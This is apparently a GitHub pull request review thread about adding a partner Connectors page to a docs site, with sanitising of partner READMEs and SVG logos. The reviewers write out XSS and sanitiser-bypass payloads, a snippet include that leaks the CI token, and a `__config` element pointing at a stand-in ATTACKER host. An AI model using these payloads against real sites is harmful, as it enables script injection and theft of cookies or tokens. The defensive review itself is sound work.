Repository navigation
feat(docs): add the Connectors page to the docs site - #204
bkhope-aws wants to merge 1 commit into
Conversation
1459132 to
559b9c3
Compare
yeremyjt
left a comment
There was a problem hiding this comment.
Thanks, the hook is clean and the history lookup works. I simulated promoting Honeycomb at 1.0.0 and Sumo Logic with a dark logo. The built pages show the right version, commit and dark-scheme logo. mkdocs build --strict and all 268 tests pass on the head and on a merge with current main. Two small comments inline.
| @@ -28,6 +31,10 @@ jobs: | |||
| runs-on: ubuntu-latest | |||
| steps: | |||
| - uses: actions/checkout@v4 | |||
There was a problem hiding this comment.
Minor: A connector's README goes into its page as-is, and the build passes two kinds of partner text through:
- Raw HTML. A
<script>in a README is in the built page unchanged. pymdownx.snippets(mkdocs.ymlline 54). A line--8<-- "<path>"pulls in any file under the repo root.
I checked both on a scratch build: a <script> tag and --8<-- ".gitignore" in connectors/grafana-cloud/README.md both land in site/connectors/grafana-cloud/index.html.
This checkout keeps the default persist-credentials: true, which stores the job's GITHUB_TOKEN in .git/config. So --8<-- ".git/config" in a merged README would publish that token's auth header on the site. The token expires when the job ends, but it shouldn't be in a public page. Skill READMEs already take this path, but this PR adds partner READMEs from connectors/ to it, and it already edits this step.
Suggested fix:
- Add
persist-credentials: falsehere (the job only reads), and pin the action to the SHAbuild-docs.ymluses. - Remove
pymdownx.snippets. No page uses--8<--today. - In
transform_readme, fail the build on<script,<iframe, inlineon…=handlers andjavascript:URLs outside code.
There was a problem hiding this comment.
Fixed in 9fd2cbe. The deploy checkout now has persist-credentials: false, with checkout and setup-python pinned to the SHAs build-docs.yml uses. pymdownx.snippets is removed (nothing used it). The hook now fails the build on <script>, <iframe>, and tags, inline on…= handlers and javascript: URLs outside code, including entity-encoded ones and handlers split across lines. The error names the README and line. I re-ran your scratch cases: the <script> fails the build, and --8<-- ".gitignore" now renders as text.
There was a problem hiding this comment.
Confirmed: persist-credentials: false is set, both actions are pinned to the SHAs build-docs.yml uses (checkout v4.4.0, setup-python v5.6.0), and pymdownx.snippets is gone. The new guard catches the straightforward cases, but I found some ways past it — see my new comment on the hook.
|
|
||
| ## How Connectors Work | ||
|
|
||
| A connector is the definition of a partner-hosted MCP server: its endpoints, how you authenticate to it, and the skills that help the agent use it. A connector holds no code. You add it from the AWS DevOps Agent console, sign in or enter credentials for the partner's product, and the agent can use the server's tools during investigations. |
There was a problem hiding this comment.
Nit: A connector loses its Coming Soon label as soon as the promotion PR merges, and the guide says each Region's console offers it over the following days. One line here would help a customer in a late Region: "A newly released connector can take a few days to reach the console in every AWS Region."
There was a problem hiding this comment.
Added, thanks: 'A newly released connector can take a few days to reach the console in every AWS Region.'
559b9c3 to
9fd2cbe
Compare
yeremyjt
left a comment
There was a problem hiding this comment.
Both round 1 comments are addressed: persist-credentials: false, both actions pinned to the same SHAs as build-docs.yml, pymdownx.snippets removed, the regional-rollout line added, and a new guard that fails the build on raw script, iframe/object/embed, inline handlers and javascript: URLs outside code. mkdocs build --strict and all 273 tests pass on the head and on a merge with current main.
One Major before I can approve: the new guard scans the README source with its own fence/inline-code model, which disagrees with how Markdown + superfences actually render. I published a marker script through it three different ways on a local build (details inline). Suggest scanning the rendered HTML, or sanitizer-diffing it, rather than the source.
| return "\n".join(out).strip("\n") + "\n" | ||
|
|
||
|
|
||
| def find_unsafe_html(readme: str) -> tuple[int, str] | None: |
There was a problem hiding this comment.
Major: The guard scans the README source with its own fence and inline-code model (_scan_lines, _INLINE_CODE), but the page ships from Python-Markdown + pymdownx.superfences. Where the two parsers disagree, text the guard treats as code is rendered as live HTML, so a <script> or event handler reaches the published page and runs.
I added each of these to connectors/grafana-cloud/README.md on this head, ran mkdocs build --strict (every one passed the guard), then opened the built page in headless Chromium. Each ran a marker script in the page body:
- Escaped backticks:
Escaped \`<img src=x onerror=…>\` here.—_INLINE_CODEtreats`…`as a code span and strips it, but Markdown reads\`` as a literal backtick, so the` is raw HTML. Ran.
- Unclosed fence: a
```line with<script>…</script>after it and no closing fence —_scan_linesmarks everything to EOF as code, but superfences doesn't form a block from an unclosed fence, so the<script>is raw. Ran. - Backtick in the info string:
```abthen<script>…</script>then```—_FENCE` matches the leading backticks and calls it a fence; superfences rejects an info string containing a backtick, so the `<script>` is raw. Ran.
Separately, the handler pattern <[A-Za-z][^>]*?\son[a-z]+\s*= requires whitespace before the handler, so a slash-separated one like <img/src=x/onerror=…> or <svg/onload=…> isn't matched. Markdown emits it as raw HTML (I confirmed the emit, not execution).
A regex blocklist over source that has to mirror the Markdown + superfences parser will keep leaking. Suggested fix: scan the rendered HTML instead of the source — render the README with the same extensions mkdocs uses, where code is already escaped <code>, and check that. Stronger still, run the rendered HTML through a sanitizer (e.g. nh3) and fail the build when the sanitized HTML differs from the rendered HTML; that fails closed without re-implementing the parser. If the source scan stays, at least drop the whitespace requirement in the handler pattern.
There was a problem hiding this comment.
Thanks, all four reproduced, plus one more: an attr_list { onclick="…" } on a link also passed the source scan and rendered live. Fixed in a936a94 by your suggestion: the source scan is gone, and connector pages are sanitised after rendering. An on_page_content hook runs each connector page's HTML through nh3 with an allowlist (tags, attributes, http/https/mailto plus relative URLs, and text-align only for styles). The build fails when sanitising removed anything, naming what was removed and the README, and the sanitised HTML is what gets published either way. A build without nh3 stops. Your three cases, <svg/onload>, attr_list, javascript: (plain and entity-encoded), <iframe> and a mutation each fail the build. <img/src=x/onerror=…> builds, because browsers parse x/onerror=alert(1) as the src value, and it's published quoted. Every current connector page publishes unchanged. build-docs.yml installs nh3==0.3.7 and runs the hook's tests with mkdocs present, so the rendering tests can't be skipped there.
9fd2cbe to
a936a94
Compare
yeremyjt
left a comment
There was a problem hiding this comment.
The round-2 Major is fixed: the source scan is gone, each connector page is sanitised with nh3 after rendering, and every bypass I had plus the attr_list, svg/onload, iframe, noscript and javascript: variants now fail the build. Good fix.
Three things before I can approve, all new:
- Security: the allowlist keeps
id, and withnavigation.instantMaterial reads#__configby querySelector. A README<div id="__config">wins over Material's own config; I ran a marker script in the site's origin on a local build. Suggest dropping authorid/namebeginning with Material's__prefix. Details inline. - Merged with current main, the Elastic page fails
mkdocs build --strict— its README's<WEBHOOK_URL>/<API_KEY>placeholders are dropped by nh3, and "fail if anything removed" aborts. That would block site deploys on main. - The PR conflicts with the #206/#208 CI hardening and needs a rebase; add nh3 to the hashed requirements file.
Major: The PR is CONFLICTING. Since round 2, main hardened the docs CI (#206/#208): actions pinned by SHA, --require-hashes -r .github/scripts/docs/requirements.txt, scoped Pages permissions. Your changes to build-docs.yml, deploy-docs.yml, CONTRIBUTING.md and .claude/CLAUDE.md overlap those.
On rebase:
- Add
nh3==0.3.7(with hashes) to.github/scripts/docs/requirements.txt, not as a barepip installline —mainnow installs docs deps with--require-hashes. - Re-apply the
connectors/**deploy trigger and thefetch-depth: 0/persist-credentials: falsecheckout onto the hardened workflows. - Keep the new "run the connectors-catalog tests with docs deps present" step.
| "table", "tbody", "td", "tfoot", "th", "thead", "tr", "ul", | ||
| } | ||
| SAFE_ATTRIBUTES = { | ||
| "*": {"class", "id", "title"}, |
There was a problem hiding this comment.
Major (security): The sanitiser keeps id on every tag. mkdocs-material runs with navigation.instant, and its client reads its config with document.querySelector("#__config") — first match in document order. The connector README renders inside the page content, which comes before Material's own <script id="__config"> near the end of the document. So a README element with id="__config" wins.
I added this one line to connectors/grafana-cloud/README.md on this head and ran mkdocs build --strict (passes, nothing removed, two id="__config" in the built page):
<div id="__config">{"base":"https://ATTACKER/","features":["navigation.instant"], … }</div>
See the [Grafana Cloud docs](https://ATTACKER/x/).
Then I served the built site on one loopback port and an attacker page (with a <script> marker and an open-CORS sitemap.xml) on another, and opened the connector page in the harness Chromium:
- Before any click, the page's live
config.basewas the attacker origin (my div won thequerySelector). - Material fetched
sitemap.xmlfrom the attacker origin to build its instant-navigation set. - Clicking the README's link did an instant (in-page) load of the attacker page — the URL bar never changed — and Material re-executed the attacker's
<script>in the site's origin. My marker script ran and readdocument.cookie.
So a merged connector README becomes one-click script execution on aws.github.io: read cookies and localStorage, rewrite the page, phish. The nh3 allowlist is exactly what should have stopped this, but id is on it. (A heading {#__config} is a weaker variant: its text isn't JSON, so Material's config fails to parse and the page breaks — denial of service, not origin control.)
Suggested fix: in the sanitiser, drop any id/name whose value starts with Material's reserved __ prefix (keeps heading anchors, kills __config, __toc, __search, …). Stronger: don't accept author id at all, or sanitise the full rendered page, not just the content fragment. Worth asking whether navigation.instant earns its keep on a site that publishes third-party README HTML.
There was a problem hiding this comment.
Fixed in f13c5dd. The sanitiser now drops any author id or name in Material's __ namespace, and the build fails naming it. The code highlighter's __codelineno- line anchors are the exception; Material never looks those up. Your <div id="__config"> now fails with id='__config' on <div>, and a heading with {#__config} fails the same way. Normal heading anchors are unaffected. I kept navigation.instant: with the namespace blocked, a README can't reach the theme's config, so instant navigation no longer gives it a way in.
| cleaned, removed = sanitize_html(html_text) | ||
| except CatalogError as err: | ||
| raise PluginError(f"Connectors catalog: {err}") from err | ||
| if removed: |
There was a problem hiding this comment.
Major: The PR passes its own tests, but it was branched before Elastic, Cribl, LaunchDarkly and Wiz landed on main. Building the PR merged with current main, the Connectors build aborts:
Connectors catalog: the page for connectors/elastic/README.md renders HTML the site
won't publish: <api_key>; <webhook_url>. Use plain Markdown, or show it as code.
connectors/elastic/README.md (on main) has <WEBHOOK_URL> and <API_KEY> as literal placeholders in prose. Markdown passes them through as unknown tags; nh3 drops them; the "fail if anything was removed" rule then aborts mkdocs build --strict. The PR's own test_every_connector_page_publishes_unchanged fails for elastic for the same reason. GitHub renders these placeholders as plain visible text, so this is a false positive on a connector that's already live.
Once this merges, deploy-docs.yml runs the same strict build on main, so the whole site would stop deploying, not just this PR.
Fix, either: (a) don't fail the build when sanitising only dropped a benign unknown bare tag like <WEBHOOK_URL> — escape it to text, the way GitHub does, and publish; or (b) fix Elastic's README to wrap the placeholders in backticks. (a) is safer going forward, since any future README can hit this.
There was a problem hiding this comment.
Fixed in f13c5dd with your option (a). Before sanitising, a tag that names no HTML, SVG or MathML element and has no attribute values is escaped to text, the way GitHub shows it. Elastic's <WEBHOOK_URL> and <API_KEY> now render as text. Real elements (<script>, <center>) and placeholder-like tags with attributes are still removed and fail the build. Escaping can only turn markup into text, so it can't let anything run. Rebased onto current main, all ten connector pages, Elastic, Cribl, LaunchDarkly and Wiz included, publish with nothing removed, and test_every_connector_page_publishes_unchanged covers them. A placeholder like these can no longer fail the build, so it can't stop the deploy on main either.
a936a94 to
f13c5dd
Compare
Rebased onto current
One extra: Cribl, Elastic, LaunchDarkly and Wiz have wide wordmark logos, so connector logos now keep a fixed height and take the width they need, up to a cap. Checked on the commit: 286 tests pass (41 connector tests with the docs requirements installed; in the validate-skills setup, the 14 that need them skip), |
yeremyjt
left a comment
There was a problem hiding this comment.
All three of my earlier Majors are fixed and verified on this rebased head: the __config hijack now fails the build (entity and case variants too), Elastic's placeholders publish as text, and nh3 is in the hashed requirements with the connectors trigger and tests re-applied. mkdocs build --strict is clean and the 41 connector tests pass. LGTM.
ams-thakkar
left a comment
There was a problem hiding this comment.
Second look at @yeremyjt's request. This is a good addition: customers get one place to find partner MCP servers and how to set them up. Sanitising each page after it renders, and failing the build if anything was removed, is the right way to publish partner-written content. Two things:
- Rebase onto
main. #218 (the Blogs page) conflicts with this inmkdocs.ymlandextra.css. Keep both sides; with that, the 299 tests andmkdocs build --strictpass. - Check the partner logos too, not just the READMEs. They're copied as-is to
docs/assets/connectors/and served fromaws.github.io, so a scripted SVG runs when someone opens it directly. I put a<script>and anonclickin the halo logo: the build passed and published both. Failing the build on anything outside the logo allowlist would close this, and all 18 logos onmainpass today.
f13c5dd to
fda3615
Compare
|
Thanks, both fixed in fda3615:
|
fda3615 to
e004d9a
Compare
ams-thakkar
left a comment
There was a problem hiding this comment.
Both points from my last comment are fixed, thanks @bkhope-aws.
- Rebase: on a merge with current
main(including #218 and #235), 318 tests pass andmkdocs build --strictbuilds all 12 connector pages. - Logos: my Halo test logo with a
<script>now fails the build. So did every other trick I tried:foreignObject,on*handlers, external orjavascript:hrefs,animate/set,xml:base, entities,xml-stylesheet,@importandurl().
One small follow-up, fine after merge: CSS escapes and image-set() get past the url() check. u\72l(https://…), @\69mport and image-set("https://…" 1x), in a <style> or a style/fill attribute, all pass, and Chrome fetched the URL when I opened each SVG directly. No script runs, so it's a tracking risk rather than XSS. Adding \\ and image-set\s*\( to _CSS_RISKY rejects all of them. With that change, all 18 logos on main still pass, as do the tests and the strict build.
Adds a Connectors tab that lists partner-hosted MCP servers from connectors/, so they can be browsed without an AWS account. - docs/hooks/connectors_catalog.py reads connectors/*/connector.yaml and connectors/releases.yaml, writes docs/javascripts/connectors-data.json, and generates a page per connector from its README with its title, vendor, categories, tier and skills. Logos are copied into the site; logo-dark.svg, when present, is shown in the dark scheme. - A connector in releases.yaml is shown at its production version, read from Git history when main carries a newer one. A connector without an entry is shown labelled Coming Soon. Deprecated connectors are left out. - Connector pages are sanitised with nh3 after Markdown renders them. The build fails when sanitising removed anything, and the sanitised HTML is what's published. Ids and names in Material's "__" namespace are removed, and placeholders such as <WEBHOOK_URL> are shown as text. - Logos are served from the site as files, so the build fails on a logo that holds anything but SVG drawing markup: script, event handlers, links, foreignObject, images, animation, references outside the file, CSS that can fetch or run something, a DOCTYPE or entity, or a processing instruction. - Home page gets a Browse Connectors button; the MCP Servers page gets a Partner-hosted section next to the self-hosted servers. - deploy-docs.yml redeploys on connectors/** changes, so a promotion PR updates the site when it merges. Both docs workflows check out the full history, which the version lookup needs. nh3 is added to the hashed docs requirements, and build-docs.yml runs the hook's tests with them. - pymdownx.snippets is removed, so a README can't include repository files.
e004d9a to
730eda9
Compare
|
Fixed in 730eda9, thanks — good catch. Rather than matching each escaped spelling, the CSS check now refuses any backslash, which closes the class ( All your payloads are rejected, plus the string form of escaped Sorry, this push dismissed your approval. Could you re-approve, and approve the workflow run so the checks report? |


Description
Adds a Connectors tab to the docs site that lists the partner-hosted MCP servers defined in
connectors/, so they can be discovered without an AWS account, and a Partner-hosted section on the MCP Servers page, so partner-hosted and self-hosted servers are listed side by side.docs/hooks/connectors_catalog.py(new), modelled ondocs/hooks/mcp_catalog.py. It readsconnectors/*/connector.yamlandconnectors/releases.yaml, writesdocs/javascripts/connectors-data.json, and generates a page per connector from its README with its title, vendor, categories, tier and skills. Logos are copied into the site, andlogo-dark.svg, when a connector has one, is shown in the dark scheme (Material's#only-light/#only-dark).releases.yamlentry is shown at its production version from the moment the promotion PR merges. Whenmainalready carries a newer version, the connector's files are read from the newest first-parent commit whoseconnector.yamlhas the production version, and the page's GitHub links point at that commit. A production version thatmainnever carried fails the build with a clear error rather than showing the wrong version.releases.yamlentry is listed with a Coming Soon label, and its page says it isn't in the console yet. Connectors markeddeprecated: trueare left out.nh3after Markdown renders it (on_page_content), against an allowlist of the tags, attributes and URL schemes the pages use. Checking the rendered HTML rather than the source means nothing has to agree with the Markdown parser about what is code. The build fails when sanitising removed anything, naming it and the README, and the sanitised HTML is what's published either way. A build withoutnh3stops rather than publish unsanitised pages. Two rules sit on top of the allowlist: an authoridornamestarting with__is removed, since that's Material's namespace and its client reads#__configby id (the highlighter's__codelineno-anchors are kept); and a placeholder such as<WEBHOOK_URL>or<YOUR TOKEN>, which Markdown passes through as a tag, is shown as text, as GitHub shows it, when it names no HTML, SVG or MathML element and carries no attribute values.pymdownx.snippetsis removed frommkdocs.yml, so a README can't pull in repository files with--8<--; no page used it.<img>, but it's also served from the site as a file, and an SVG opened directly runs its scripts in the site's origin. So the build fails on a logo that holds anything but drawing markup: an element outside an allowlist of SVG drawing elements (noscript,foreignObject,a,image, animation), an attribute outside an allowlist of presentation and geometry attributes (no event handlers), anhreforurl()to anything but an id in the same file,@importin a<style>, a DOCTYPE or entity, or a processing instruction. Each logo is checked at the version the site shows, and all 18 logos onmainpass.deploy-docs.ymlnow runs onconnectors/**, so a promotion PR updates the site when it merges. Both docs workflows check out withfetch-depth: 0, because the version lookup reads Git history; in a shallow clone the hook stops and says so.nh3==0.3.7is added, with its hashes, to.github/scripts/docs/requirements.txt(regenerated with pip-tools; no other pin or hash changes), andbuild-docs.ymlruns the hook's tests with those dependencies installed, so the sanitiser's tests can't be skipped there.Notes for reviewers:
releases.yamlis empty today, so every connector currently shows as Coming Soon..github/andtests/are code-owned, so they need an admin's approval.Type of change
Required before review
Testing
python3 -m unittest discover -s tests -v: 304 tests pass, 46 of them new intests/test_connectors_catalog.py. They cover a connector without a releases entry (Coming Soon), a promoted connector, a production version older thanmainread from history, the newest commit at that version being used, an unknown production version and a shallow clone failing with a clear message, a released connector removed frommain, deprecated connectors, dark logos, the page's skills and links, escaping ofconnector.yamltext, the sanitiser (what it keeps, what it removes and names, comments, Material's__ids, placeholders shown as text, a missingnh3), the logo check (every logo in the repository passes; script, handlers, links,foreignObject, images, animation, external references,@import, DOCTYPE and processing instructions are refused; a released logo is checked at its version), each review bypass rendered with the site's own Markdown settings, every real connector page publishing unchanged, and the nav, MCP Servers, workflow andmkdocs.ymlwiring. Withoutnh3and mkdocs, as in validate-skills, the 14 sanitiser tests are skipped.mkdocs build --strictwith the hashed docs requirements: no warnings; the twelve connectors onmainrender as Coming Soon, and Elastic's<WEBHOOK_URL>and<API_KEY>show as text.Simulated a promotion locally: with
honeycombat1.0.0andsumo-logicat1.0.0inreleases.yamland a temporarylogo-dark.svgfor Sumo Logic, the two are listed first without Coming Soon, Honeycomb's page shows 1.0.0 (read from the commit that merged it, whilemaincarries 1.0.1), and Sumo Logic's dark logo shows in the dark scheme. Setting a versionmainnever carried fails the build. Reverted before committing.Review scenarios, each added to
connectors/grafana-cloud/README.mdand built withmkdocs build --strict: escaped backticks, an unclosed fence, a backtick in a fence's info string,<svg/onload=…>, anattr_list{ onclick=… },javascript:links (plain and entity-encoded),<iframe>and a<noscript>mutation all fail the build naming what was removed.<img/src=x/onerror=…>builds: browsers readx/onerror=alert(1)as thesrcvalue, and the page publishes it quoted as<img src="x/onerror=alert(1)">. A--8<-- ".gitignore"line renders as text. A<div id="__config">carrying a replacement config, and a heading with{#__config}, both fail the build naming the id. A<script>and anonclickadded toconnectors/halo/logo.svgfail the build naming the file. All reverted.Checked the pages with
mkdocs servein both colour schemes.python3 .github/scripts/validate_skills.py --base-ref origin/main: 0 errors.scan_aws_identifiers.py: 0 findings.structurechecks pass. — n/a: no skill is changed.best-practicesrun across multiple iterations, with consistent results. — n/a: no skill is changed.functionalrun with and without the change, so the difference in the agent's behavior is visible. — n/a: no skill is changed.evals/evals.jsonincludes positive cases (should trigger) and at least one negative case (should not trigger on unrelated input). — n/a: no skill is changed.Security and safety
License confirmation